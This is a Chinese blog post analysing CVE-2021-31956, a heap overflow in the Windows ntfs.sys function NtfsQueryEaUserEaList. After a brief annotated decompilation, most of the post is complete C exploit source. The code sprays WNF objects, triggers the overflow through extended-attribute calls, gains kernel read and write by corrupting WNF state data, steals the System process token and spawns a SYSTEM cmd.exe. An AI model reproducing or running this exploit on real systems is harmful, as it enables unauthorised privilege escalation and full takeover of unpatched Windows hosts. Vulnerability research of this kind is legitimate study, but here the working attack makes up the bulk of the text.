CVE-2021-31956漏洞分析

0x00前言

分析版本是windows 1909 ntfs.sys

该漏洞发生在ntfs.sys中的NtfsQueryEaUserEaList函数中

堆溢出导致的权限提升

0x01分析

_QWORD *__fastcall NtfsQueryEaUserEaList(
        _QWORD *a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        unsigned int a5,
        unsigned int *a6,                       // pUserEaList
        char a7)
{
  int v8; // edi
  unsigned int v9; // ebx
  unsigned int v10; // r15d
  unsigned int *v11; // r12
  unsigned int v12; // r14d
  unsigned __int8 v13; // r13
  unsigned int *i; // rbx
  unsigned int v15; // ebx
  _DWORD *v16; // r13
  unsigned int v17; // r14d
  unsigned int v18; // ebx
  __int64 v20; // rdx
  char v21; // al
  unsigned int v22; // [rsp+20h] [rbp-38h]
  unsigned int v23; // [rsp+24h] [rbp-34h] BYREF
  _DWORD *v24; // [rsp+28h] [rbp-30h]
  struct _STRING DestinationString; // [rsp+30h] [rbp-28h] BYREF
  STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
  unsigned int v27; // [rsp+A0h] [rbp+48h]

  v8 = 0;
  *a1 = 0i64;
  v24 = 0i64;
  v9 = 0;
  v27 = 0;
  v10 = 0;
  a1[1] = 0i64;
  while ( 1 )
  {
    v11 = (unsigned int *)((char *)a6 + v9);
    *(_QWORD *)&DestinationString.Length = 0i64;
    DestinationString.Buffer = 0i64;
    *(_QWORD *)&SourceString.Length = 0i64;
    SourceString.Buffer = 0i64;
    DestinationString.Length = *((unsigned __int8 *)v11 + 4);
    DestinationString.MaximumLength = DestinationString.Length;
    DestinationString.Buffer = (char *)v11 + 5;
    RtlUpperString(&DestinationString, &DestinationString);
    if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )// 检查 pUserEaList 是否有效
      break;
    v12 = *v11;
    v13 = *((_BYTE *)v11 + 4);
    v22 = *v11 + v9;
    for ( i = a6; ; i = (unsigned int *)((char *)i + *i) )// pUserEaList 遍历
    {
      if ( i == v11 )
      {
        v15 = v27;
        v16 = (_DWORD *)(a4 + v10 + v27);       // 分配的内存池
        if ( (unsigned __int8)NtfsLocateEaByName(a2, *(unsigned int *)(a3 + 4), &DestinationString, &v23) )// 更具name查找相应的ea信息
        {
          v20 = a2 + v23;                       // ea_block
          v17 = *(unsigned __int16 *)(v20 + 6) + *(unsigned __int8 *)(v20 + 5) + 9;
          if ( v17 <= a5 - v10 )                // 防溢出检查
          {
            memmove(v16, (const void *)v20, v17);
            *v16 = 0;
            goto LABEL_8;
          }
        }
        else
        {
          v17 = *((unsigned __int8 *)v11 + 4) + 9;
          if ( v17 + v10 <= a5 )
          {
            *v16 = 0;
            *((_BYTE *)v16 + 4) = 0;
            *((_BYTE *)v16 + 5) = *((_BYTE *)v11 + 4);
            *((_WORD *)v16 + 3) = 0;
            memmove(v16 + 2, (char *)v11 + 5, *((unsigned __int8 *)v11 + 4));
            SourceString.Length = DestinationString.Length;
            SourceString.MaximumLength = DestinationString.Length;
            SourceString.Buffer = (PCHAR)(v16 + 2);
            RtlUpperString(&SourceString, &SourceString);
            v15 = v27;
            *((_BYTE *)v16 + *((unsigned __int8 *)v11 + 4) + 8) = 0;
LABEL_8:
            v18 = v17 + v10 + v15;
            v27 = v18;
            if ( !a7 )
            {
              if ( v24 )
                *v24 = (_DWORD)v16 - (_DWORD)v24;
              if ( *v11 )
              {
                v24 = v16;
                a5 -= v17 + v10;
                v10 = ((v17 + 3) & 0xFFFFFFFC) - v17;// 只可能0,123
                goto LABEL_26;
              }
            }
LABEL_12:
            a1[1] = v18;
LABEL_13:
            *(_DWORD *)a1 = v8;
            return a1;
          }
        }
        v21 = NtfsStatusDebugFlags;
        a1[1] = 0i64;
        if ( v21 )
          NtfsStatusTraceAndDebugInternal(0i64, 2147483653i64, 919406i64);
        v8 = -2147483643;
        goto LABEL_13;
      }
      if ( v13 == *((_BYTE *)i + 4) && !memcmp((char *)v11 + 5, (char *)i + 5, v13) )
        break;
    }
    if ( !v12 )
    {
      v18 = v27;
      goto LABEL_12;
    }
LABEL_26:
    v9 = v22;
  }
  a1[1] = v9;
  if ( NtfsStatusDebugFlags )
    NtfsStatusTraceAndDebugInternal(0i64, 2147483667i64, 919230i64);
  *(_DWORD *)a1 = -2147483629;
  return a1;
}

 0x02exp

nt.h 文件

#pragma once
typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef NTSTATUS(NTAPI*__ZwQueryEaFile)(
    HANDLE           FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID            Buffer,
    ULONG            Length,
    BOOLEAN          ReturnSingleEntry,
    PVOID            EaList,
    ULONG            EaListLength,
    PULONG           EaIndex,
    BOOLEAN          RestartScan
    );

typedef NTSTATUS(NTAPI*__ZwSetEaFile)(
    HANDLE           FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID            Buffer,
    ULONG            Length
    );

typedef struct _FILE_FULL_EA_INFORMATION {
    ULONG  NextEntryOffset;
    UCHAR  Flags;
    UCHAR  EaNameLength;
    USHORT EaValueLength;
    CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;



typedef struct _FILE_GET_EA_INFORMATION {
    ULONG NextEntryOffset;
    UCHAR EaNameLength;
    CHAR  EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;


typedef struct _WNF_STATE_NAME {
    ULONG Data[2];
} WNF_STATE_NAME, *PWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME
{
    WnfWellKnownStateName,
    WnfPermanentStateName,
    WnfPersistentStateName,
    WnfTemporaryStateName
} WNF_STATE_NAME_LIFETIME;


typedef enum _WNF_DATA_SCOPE
{
    WnfDataScopeSystem,
    WnfDataScopeSession,
    WnfDataScopeUser,
    WnfDataScopeProcess,
    WnfDataScopeMachine
} WNF_DATA_SCOPE;


typedef struct _WNF_TYPE_ID
{
    GUID TypeId;
} WNF_TYPE_ID, *PWNF_TYPE_ID;


typedef const WNF_TYPE_ID *PCWNF_TYPE_ID;

typedef NTSTATUS  (NTAPI * __NtCreateWnfStateName)(
    _Out_ PWNF_STATE_NAME StateName,
    _In_ WNF_STATE_NAME_LIFETIME NameLifetime,
    _In_ WNF_DATA_SCOPE DataScope,
    _In_ BOOLEAN PersistData,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_ ULONG MaximumStateSize,
    _In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);



typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;

typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(
    _In_ PWNF_STATE_NAME StateName,
    _In_reads_bytes_opt_(Length) const VOID * Buffer,
    _In_opt_ ULONG Length,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_opt_ const PVOID ExplicitScope,
    _In_ WNF_CHANGE_STAMP MatchingChangeStamp,
    _In_ ULONG CheckStamp);



typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(
    _In_ PWNF_STATE_NAME StateName,
    _In_opt_ PWNF_TYPE_ID TypeId,
    _In_opt_ const VOID * ExplicitScope,
    _Out_ PWNF_CHANGE_STAMP ChangeStamp,
    _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
    _Inout_ PULONG BufferSize);



typedef struct _WNF_STATE_NAME_REGISTRATION
{
    PVOID64 MaxStateSize;
    PVOID64  TypeId;
    PVOID64 SecurityDescriptor;
}WNF_STATE_NAME_REGISTRATION, *PWNF_STATE_NAME_REGISTRATION;



typedef NTSTATUS
(NTAPI * __NtDeleteWnfStateData)
(
    _In_ PWNF_STATE_NAME StateName,
    _In_opt_ const VOID *ExplicitScope
);


typedef NTSTATUS (NTAPI * __NtDeleteWnfStateName)(_In_ PWNF_STATE_NAME StateName);

extern __ZwSetEaFile  NtSetEaFile;
extern __ZwQueryEaFile NtQueryEaFile;
extern __NtCreateWnfStateName NtCreateWnfStateName;
extern __NtUpdateWnfStateData NtUpdateWnfStateData;
extern __NtQueryWnfStateData NtQueryWnfStateData;
extern __NtDeleteWnfStateData NtDeleteWnfStateData;
extern __NtDeleteWnfStateName NtDeleteWnfStateName;

#define SPRAY_COUNT 10000
#define PAYLOAD_SIZE 1000





#define STATE_NAME_MASK 0x41C64E6DA3BC0074
#define TIGGER_EA_NAME ".PA"
#define OVER_EA_NAME ".PBB"

#define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
#define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))


#define KERNAL_ALLOC_SIZE 0xae

#define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1)) 
#define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))

// #define OVER_EA_VALUE_LENGTH (0x53 + 0x10)

#define OVER_EA_VALUE_LENGTH (0xf)

//#define OVER_STATENAME (0x517131)

#define OVER_STATEDATA_LENGTH 0x1000
 
extern UINT64 OVER_STATENAME ;
// extern UINT64 TIGGER_STATENAME;
#define TIGGER_STATENAME ((OVER_STATENAME) ^ (0x41C64E6DA3BC0074))
#define PROCESS_LIST_ENTRY_OFFSET 0x248 
//NumberOfPrivatePages
#define IMAGE_FILE_NAME_OFFSET 0x398  

struct _WNF_NODE_HEADER
{
    USHORT NodeTypeCode;                                                    //0x0
    USHORT NodeByteSize;                                                    //0x2
};

struct _EX_RUNDOWN_REF
{
    union
    {
        ULONGLONG Count;                                                    //0x0
        VOID* Ptr;                                                          //0x0
    };
};

struct _RTL_BALANCED_NODE
{
    union
    {
        struct _RTL_BALANCED_NODE* Children[2];                             //0x0
        struct
        {
            struct _RTL_BALANCED_NODE* Left;                                //0x0
            struct _RTL_BALANCED_NODE* Right;                               //0x8
        };
    };
    union
    {
        struct
        {
            UCHAR Red : 1;                                                    //0x10
            UCHAR Balance : 2;                                                //0x10
        };
        ULONGLONG ParentValue;                                              //0x10
    };
};

struct _WNF_STATE_NAME_STRUCT
{
    ULONGLONG Version : 4;                                                    //0x0
    ULONGLONG NameLifetime : 2;                                               //0x0
    ULONGLONG DataScope : 4;                                                  //0x0
    ULONGLONG PermanentData : 1;                                              //0x0
    ULONGLONG Sequence : 53;                                                  //0x0
};

struct _EX_PUSH_LOCK
{
    union
    {
        struct
        {
            ULONGLONG Locked : 1;                                             //0x0
            ULONGLONG Waiting : 1;                                            //0x0
            ULONGLONG Waking : 1;                                             //0x0
            ULONGLONG MultipleShared : 1;                                     //0x0
            ULONGLONG Shared : 60;                                            //0x0
        };
        ULONGLONG Value;                                                    //0x0
        VOID* Ptr;                                                          //0x0
    };
};

struct _WNF_LOCK
{
    struct _EX_PUSH_LOCK PushLock;                                          //0x0
};

struct _RTL_AVL_TREE
{
    struct _RTL_BALANCED_NODE* Root;                                        //0x0
};

struct _WNF_SCOPE_INSTANCE
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    struct _EX_RUNDOWN_REF RunRef;                                          //0x8
    enum _WNF_DATA_SCOPE DataScope;                                         //0x10
    ULONG InstanceIdSize;                                                   //0x14
    VOID* InstanceIdData;                                                   //0x18
    struct _LIST_ENTRY ResolverListEntry;                                   //0x20
    struct _WNF_LOCK NameSetLock;                                           //0x30
    struct _RTL_AVL_TREE NameSet;                                           //0x38
    VOID* PermanentDataStore;                                               //0x40
    VOID* VolatilePermanentDataStore;                                       //0x48
};




struct _WNF_STATE_DATA
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
};



typedef struct _WNF_NAME_INSTANCE
{
     _WNF_NODE_HEADER Header;                                         //0x0
     _EX_RUNDOWN_REF RunRef;                                          //0x8
     _RTL_BALANCED_NODE TreeLinks;                                    //0x10
     _WNF_STATE_NAME_STRUCT StateName;                                //0x28
     _WNF_SCOPE_INSTANCE* ScopeInstance;                              //0x30
     _WNF_STATE_NAME_REGISTRATION StateNameInfo;                      //0x38
     _WNF_LOCK StateDataLock;                                         //0x50
     _WNF_STATE_DATA* StateData;                                      //0x58
    ULONG CurrentChangeStamp;                                               //0x60
    VOID* PermanentDataStore;                                               //0x68
    struct _WNF_LOCK StateSubscriptionListLock;                             //0x70
    struct _LIST_ENTRY StateSubscriptionListHead;                           //0x78
    struct _LIST_ENTRY TemporaryNameListEntry;                              //0x88
    PVOID  CreatorProcess;                                       //0x98
    LONG DataSubscribersCount;                                              //0xa0
    LONG CurrentDeliveryCount;                                              //0xa4
}WNF_NAME_INSTANCE, *PWNF_NAME_INSTANCE;



#define PROCESS_ID_OFFSET 0x1b8

#define TOKEN_OFFSET 0x320

#define PROCESS_LIST_OFFSET 0x2f0

c文件

// ConsoleApplication11.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include "nt.h"
#include <sddl.h>
__ZwQueryEaFile NtQueryEaFile = NULL;
__ZwSetEaFile  NtSetEaFile = NULL;
__NtCreateWnfStateName NtCreateWnfStateName = NULL;
__NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
__NtQueryWnfStateData NtQueryWnfStateData = NULL;
__NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
__NtDeleteWnfStateName NtDeleteWnfStateName = NULL;
WNF_STATE_NAME StateNames[SPRAY_COUNT] = { 0 };

UINT64 OVER_STATENAME = 0;

int initNtDll()
{
    HMODULE hNtDll = NULL;
    hNtDll = LoadLibrary("ntdll.dll");
    if (hNtDll == NULL)
    {
        printf("load ntdll failed!\r\n");
        return -1;
    }
    NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");
    NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile");
    NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
    NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
    NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
    NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
    NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
    if (NtQueryEaFile == NULL ||
        NtSetEaFile == NULL ||
        NtCreateWnfStateName == NULL ||
        NtUpdateWnfStateData == NULL ||
        NtQueryWnfStateData == NULL ||
        NtDeleteWnfStateData == NULL ||
        NtDeleteWnfStateName == NULL)
    {
        printf("not found  functions\r\n");
        return -1;
    }

    return 0;
}

int tiggerLeak()
{
    PFILE_GET_EA_INFORMATION EaList = NULL;
    PFILE_GET_EA_INFORMATION EaListCP = NULL;
    PVOID eaData = NULL;
    DWORD dwNumberOfBytesWritten = 0;
    UCHAR payLoad[PAYLOAD_SIZE] = { 0 };
    PFILE_FULL_EA_INFORMATION curEa = NULL;
    HANDLE hFile = INVALID_HANDLE_VALUE;
    IO_STATUS_BLOCK eaStatus = { 0 };
    NTSTATUS rc;
    PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
    PISECURITY_DESCRIPTOR pSecurity = NULL;
    PUCHAR pd = NULL;
    PUCHAR StateDataLock = NULL;
    PUINT64 StateData = NULL;
    PUINT64 StateName = NULL;
    PUINT64 parent = NULL;
    PUINT AllocatedSize = NULL;
    PUINT DataSize = NULL;
    int state = -1;


    hFile = CreateFileA("payload",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("create the file failed\r\n");
        goto ERROR_HANDLE;
    }


    WriteFile(hFile, "This files has an optional .COMMENTS EA\n",
        strlen("This files has an optional .COMMENTS EA\n"),
        &dwNumberOfBytesWritten, NULL);




    curEa = (PFILE_FULL_EA_INFORMATION)payLoad;


    curEa->Flags = 0;
    
    curEa->EaNameLength = TIGGER_EA_NAME_LENGTH;
    curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH;
    //align 4。
    curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
    memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
    RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');


    curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset);
    curEa->NextEntryOffset = 0;
    curEa->Flags = 0;
    
    curEa->EaNameLength = OVER_EA_NAME_LENGTH; 
    curEa->EaValueLength = OVER_EA_VALUE_LENGTH;
    memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH); 
    RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);
    pd = (PUCHAR)(curEa);

    AllocatedSize = (PUINT)(pd + 0x4 + 0x10);
    DataSize = (PUINT)(pd + 0x8 + 0x10); 
    *AllocatedSize = OVER_STATEDATA_LENGTH;
    *DataSize = OVER_STATEDATA_LENGTH;

    rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));


    

    if (rc != 0)
    {
        printf("NtSetEaFile failed error code is %x\r\n", rc);
        goto ERROR_HANDLE;

    }
    eaData = malloc(sizeof(payLoad));
    if (eaData == NULL)
    {
        goto ERROR_HANDLE;
    }


    memset(eaData, 0, sizeof(payLoad));

    EaList = (PFILE_GET_EA_INFORMATION)malloc(100);
    if (EaList == NULL)
    {
        goto ERROR_HANDLE;
    }
    EaListCP = EaList;
    memset(EaList, 0, 100);



    memcpy(EaList->EaName, ".PA", strlen(".PA"));
    EaList->EaNameLength = (UCHAR)strlen(".PA");
    EaList->NextEntryOffset = 12; // align 4


    EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);
    memcpy(EaList->EaName, ".PBB", strlen(".PBB"));
    EaList->EaNameLength = (UCHAR)strlen(".PBB");
    EaList->NextEntryOffset = 0;

    rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE);
    

    state = 0;


ERROR_HANDLE:
    if (hFile != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hFile);
        hFile = INVALID_HANDLE_VALUE;
    }
    if (EaList != NULL)
    {
        free(EaListCP);
        EaList = NULL;
    }

    if (eaData != NULL)
    {
        free(eaData);
        eaData = NULL;
    }

    if (pSecurity != NULL)
    {
        free(pSecurity);
        pSecurity = NULL;
    }
    return state;
}

int HeapSpray()
{
    NTSTATUS state = 0;
    
    PSECURITY_DESCRIPTOR pSD = nullptr;
    BYTE upData[0xa0] = { 0 };
    RtlFillMemory(upData, sizeof(upData), 'C');
    if (!ConvertStringSecurityDescriptorToSecurityDescriptor("",
        SDDL_REVISION_1, &pSD, nullptr))
    {
        return -1;
    }

    for (int i = 0; i < SPRAY_COUNT; i++)
    {
        state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (state != 0)
        {
            return -1;
        }
        
    }  


    for (int i = 1; i < SPRAY_COUNT; i+=2)
    {

        state = NtDeleteWnfStateName(&StateNames[i]);
        if (state != 0)
        {
            return -1;
        }
        StateNames[i].Data[0] = 0;
        StateNames[i].Data[1] = 0;

        state = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i - 1], &upData, 0xa0, NULL, NULL, NULL, 0);
        if (state != 0)
        {
            return -1;
        }
    }

    
    for (int i = 0; i < SPRAY_COUNT; i += 4)
    {
        NtDeleteWnfStateData(&StateNames[i], NULL);
        state = NtDeleteWnfStateName(&StateNames[i]);
        if (state != 0)
        {
            return -1;
        }
        StateNames[i].Data[0] = 0;
        StateNames[i].Data[1] = 0;
               
    }

    
    if (pSD)
    {
        LocalFree(pSD);
    }


    return 0;
}





int tigger(UINT64 StateName)
{
    NTSTATUS state = 0;
    UINT64 name = StateName;
    BYTE upData[0x74] = { 0 };
    RtlFillMemory(upData, sizeof(upData), 'A');
    name ^= STATE_NAME_MASK;
    state = NtUpdateWnfStateData((PWNF_STATE_NAME)&name, &upData, 0x70, NULL, NULL, NULL, 0);
    return state;
}



int OverStateData(PWNF_STATE_NAME StateName, PUCHAR Buff)
{
    

    NTSTATUS state = NtUpdateWnfStateData(StateName, (const void*)Buff, OVER_STATEDATA_LENGTH, NULL, NULL, NULL, 0);

    return state;
}



NTSTATUS GetOverStateData(UINT64 StateName, PUCHAR Buff, PULONG size)
{
    WNF_CHANGE_STAMP Stamp;
    ULONG BufferSize = *size;
    UINT64 name = StateName;
    name ^= STATE_NAME_MASK;
    NTSTATUS state = NtQueryWnfStateData((PWNF_STATE_NAME)&name, NULL, NULL, &Stamp, Buff, &BufferSize);

    if (state != 0)
    {
        printf(__FUNCTION__  "failed size: %d state: %x\r\n", BufferSize, state);
        return state;
    }

    *size = BufferSize;
    return 0;
}


UINT64 GetProcessEprocess(UINT64 StateName, PUINT64 pid, UINT pidOffset=0x120, UINT eprocessOffset=0x128)
{
    
    UCHAR Buff[0x3000] = { 0 };
    ULONG BufferSize = 0x3000;
    int state = GetOverStateData(StateName, Buff, &BufferSize);

    if (state != 0)
    {
        printf(__FUNCTION__"filed %x\r\n", state);
        return 0;
    }



    if (BufferSize == 0) //idle
    {
        *pid = 0;
        return 0;
    }
    *pid = *((PUINT64)(Buff + pidOffset));
    return *((PUINT64)(Buff + eprocessOffset));
}


int GetProcessName(UINT64 StateName, PCHAR name)
{
    UCHAR Buff[0x5000] = { 0 };
    ULONG BufferSize = 0x5000;
    int state = GetOverStateData(StateName, Buff, &BufferSize);
    if (state != 0)
    {
        printf(__FUNCTION__"filed %x\r\n", state);
        return -1;
    }
    memcpy(name, Buff, 0x100 - 1);
    return 0;
}

UINT64 GetProcessToken(UINT64 StateName)
{
    UCHAR Buff[0x5000] = { 0 };
    ULONG BufferSize = 0x5000;
    int state = GetOverStateData(StateName, Buff, &BufferSize);
    if (state != 0)
    {
        printf(__FUNCTION__" filed %x\r\n", state);
        return -1;
    }
    
    return *(PUINT64)(Buff + 0x30);
}



NTSTATUS EnumProcessEprocess(PWNF_STATE_NAME StateName, PUCHAR Buff)
{

    BOOL Isexist = FALSE;
    for (int i = 0; i < SPRAY_COUNT; ++i)
    {
        if (*(PUINT64)StateName == *((PUINT64)&StateNames[i]))
        {
            Isexist = TRUE;
        }
    }
    if (Isexist == FALSE)
    {
        printf("the wnf obj is deleted!!!\r\n");
        return -1;
    }

    PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10);
    UINT64 eProcess = (UINT64)NameIns->CreatorProcess;
    if (eProcess == 0)
    {
        return -1;
    }
    NTSTATUS state = -1;
    
    
    UINT64 entry = (UINT64)(eProcess + PROCESS_ID_OFFSET);
    UINT64 systemEProcess = 0;
    for (;;)
    {
        NameIns->StateData = (_WNF_STATE_DATA*)(entry);
        state = OverStateData(StateName, Buff);
        if (state != 0)
            return -1;

        UINT64 pid = 0;
        UINT64 next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid);

        

        
        // handle idle process
        if (pid == 0)
        {
            entry = entry + 0x269 - PROCESS_ID_OFFSET;

            NameIns->StateData = (_WNF_STATE_DATA*)(entry);
            state = OverStateData(StateName, Buff);
            if (state != 0)
                return -1;
            next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid, 0x6f, 0x77);
            printf("EPROCESS: %llx PID: %lld\r\n", entry - 0x269, pid);
        }
    
        else
        {
            printf("EPROCESS: %llx PID: %lld\r\n", entry - PROCESS_ID_OFFSET, pid);
        }



        if (pid == 4)
        {
            printf("found system process\r\n");
            systemEProcess = entry - PROCESS_ID_OFFSET;
            break;
        }

        
        if (next == 0)
            break;

        entry = next - PROCESS_LIST_OFFSET + PROCESS_ID_OFFSET;
    }
            
    if (systemEProcess != 0)
    {
        NameIns->StateData = (_WNF_STATE_DATA*)(systemEProcess + TOKEN_OFFSET);
        state = OverStateData(StateName, Buff);
        if (state != 0)
            return -1;
        UINT64 token =  GetProcessToken(*(PULONGLONG)&(NameIns->StateName));
    

        UCHAR tokenBuff[0x5000] = { 0 };
        ULONG tokenBufferSize = 0x5000;

        NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET);
        state = OverStateData(StateName, Buff);
        if (state != 0)
            return -1;

        int state = GetOverStateData(*(PULONGLONG)&(NameIns->StateName), tokenBuff, &tokenBufferSize);
        if (state != 0)
        {
            printf(" filed %x %d\r\n", state, __LINE__);
            return -1;
        }

        
        *(PUINT64)(tokenBuff + 0x30) = token;

        NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET + 4);
        state = OverStateData(StateName, Buff);
        if (state != 0)
        {
            printf(" filed %x %d\r\n", state , __LINE__);
            return -1;
        }


        UINT64 name = *(PULONGLONG)&(NameIns->StateName);
        name ^= STATE_NAME_MASK;


       state = NtUpdateWnfStateData((PWNF_STATE_NAME)(&name), tokenBuff + 4, 0x100, NULL, NULL, NULL, 0);

       if (state != 0)
       {
           printf("re token failed state: %x\r\n", state);
           return -1;
       }

       STARTUPINFO StartupInfo = { 0 };
       PROCESS_INFORMATION ProcessInformation = { 0 };
        
       if (!CreateProcess("C:\\Windows\\System32\\cmd.exe",
           NULL,
           NULL,
           NULL,
           FALSE,
           CREATE_NEW_CONSOLE,
           NULL,
           NULL,
           &StartupInfo,
           &ProcessInformation))
       {
           printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
          return -1;
       }

       WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
    }

    return 0;
}


int main()
{
    BOOL IsSuccess = FALSE;
    UINT Count = 0;
    PVOID pSelfEprocess = NULL;
    if (initNtDll() != 0)
    {
        printf("initNtDll filed!\r\n");
        
        goto PAUSE;
    }

    
    if (HeapSpray() != 0)
    {
        printf("HeapSpray filed!\r\n");
        goto PAUSE;
    }

    
RE_TRY:
    if (Count++ >= 1000)
    {
        printf("exp  filed!\r\n");
        goto PAUSE;
    }
    if (tiggerLeak() != 0)
    {
        printf("tigger leak filed!\r\n");
        goto PAUSE;
    }
    
    
    for (int i = 0; i < SPRAY_COUNT; i += 2)
    {
        WNF_CHANGE_STAMP Stamp;
        ULONG BufferSize = 0xa0;
        UCHAR Buff[OVER_STATEDATA_LENGTH] = { 0 };
        if (StateNames[i].Data[0] == 0 && StateNames[i].Data[1] == 0)
            continue;
        NTSTATUS state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize);
        if (state == 0xc0000023)
        {

            BufferSize = OVER_STATEDATA_LENGTH;
            state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize);
            if (state != 0)
            {
                ;
            }
            else
            {
                PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10);
                
                if (NameIns->Header.NodeByteSize == 0xa8 &&
                    NameIns->Header.NodeTypeCode == 0x903 &&
                    NameIns->RunRef.Ptr == NULL
                    )
                {
                    if (EnumProcessEprocess(&StateNames[i], Buff) == 0)
                    {

                        IsSuccess = TRUE;
                    }
                    
                    
                }
                
            }
        }
    }

    if (IsSuccess == FALSE)
        goto RE_TRY;


    IsSuccess = !IsSuccess;
    

PAUSE:
    system("pause");
    return 0;
}

 

posted @ 2022-04-02 17:14  紅人  阅读(379)  评论(0编辑  收藏  举报